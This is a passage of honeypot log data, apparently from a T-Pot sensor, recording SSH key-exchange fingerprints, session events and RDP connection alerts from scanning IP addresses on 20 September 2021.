["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "56711b6e238f", "@version": "1", "timestamp": "2021-09-20T11:11:43.032019Z", "@timestamp": "2021-09-20T11:11:43.032Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26227	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:43.29527+03	2021-09-20 14:15:12.996646+03	{"_id": "-gbnAnwBvYTbRNuElB80", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "84cfb61ab228", "@version": "1", "duration": 2.7846827507019043, "timestamp": "2021-09-20T11:11:43.295270Z", "@timestamp": "2021-09-20T11:11:43.295Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26228	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:11:43.638184+03	2021-09-20 14:15:12.997645+03	{"_id": "-wbnAnwBvYTbRNuElh9d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1452647805098853, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45200, "dest_port": 22, "timestamp": "2021-09-20T11:11:43.638184Z", "@timestamp": "2021-09-20T11:11:43.638Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26229	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:44.081889+03	2021-09-20 14:15:12.999644+03	{"_id": "_gbnAnwBvYTbRNuElx-B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46492, "timestamp": "2021-09-20T11:11:44.081889", "@timestamp": "2021-09-20T11:11:44.081Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26230	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:44.078147+03	2021-09-20 14:15:13.000646+03	{"_id": "AgbnAnwBvYTbRNuEmCAe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:46492 (192.168.176.2:22) [session: 0f0ff7b1d7bc]", "session": "0f0ff7b1d7bc", "@version": "1", "protocol": "ssh", "src_port": 46492, "dest_port": 22, "timestamp": "2021-09-20T11:11:44.078147Z", "@timestamp": "2021-09-20T11:11:44.078Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26232	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:44.392636+03	2021-09-20 14:15:13.003646+03	{"_id": "AQbnAnwBvYTbRNuEmCAe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0f0ff7b1d7bc", "@version": "1", "timestamp": "2021-09-20T11:11:44.392636Z", "@timestamp": "2021-09-20T11:11:44.392Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26233	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:44.804428+03	2021-09-20 14:15:13.004646+03	{"_id": "FgbnAnwBvYTbRNuEmiBG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1557642576183158, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35852, "dest_port": 22, "timestamp": "2021-09-20T11:11:44.804428Z", "@timestamp": "2021-09-20T11:11:44.804Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26234	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:44.528391+03	2021-09-20 14:15:13.005646+03	{"_id": "GQbnAnwBvYTbRNuEmyBr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35852, "timestamp": "2021-09-20T11:11:44.528391", "@timestamp": "2021-09-20T11:11:44.528Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26235	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:11:36.084855+03	2021-09-20 14:15:13.006697+03	{"_id": "RgbnAnwBvYTbRNuEdx8X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:11:35.714653+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 2192565443487645, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 63152, "timestamp": "2021-09-20T11:11:36.084855Z", "@timestamp": "2021-09-20T11:11:36.084Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
26236	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:11:36.033399+03	2021-09-20 14:15:13.008646+03	{"_id": "SwbnAnwBvYTbRNuEeB85", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 63152, "dest_port": 3389, "timestamp": "2021-09-20T11:11:36.033399", "@timestamp": "2021-09-20T11:11:36.033Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
26237	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:11:36.417113+03	2021-09-20 14:15:13.009645+03	{"_id": "YQbnAnwBvYTbRNuEeh__", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:11:35.714653+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2192565443487645, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 63152, "dest_port": 3389, "timestamp": "2021-09-20T11:11:36.417113Z", "@timestamp": "2021-09-20T11:11:36.417Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
26238	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:11:37.09287+03	2021-09-20 14:15:13.010646+03	{"_id": "ZwbnAnwBvYTbRNuEfB8i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 45204, "dest_port": 22, "timestamp": "2021-09-20T11:11:37.092870", "@timestamp": "2021-09-20T11:11:37.092Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26239	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:38.099534+03	2021-09-20 14:15:13.011646+03	{"_id": "hAbnAnwBvYTbRNuEfh_n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1733637450585320, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41424, "dest_port": 22, "timestamp": "2021-09-20T11:11:38.099534Z", "@timestamp": "2021-09-20T11:11:38.099Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
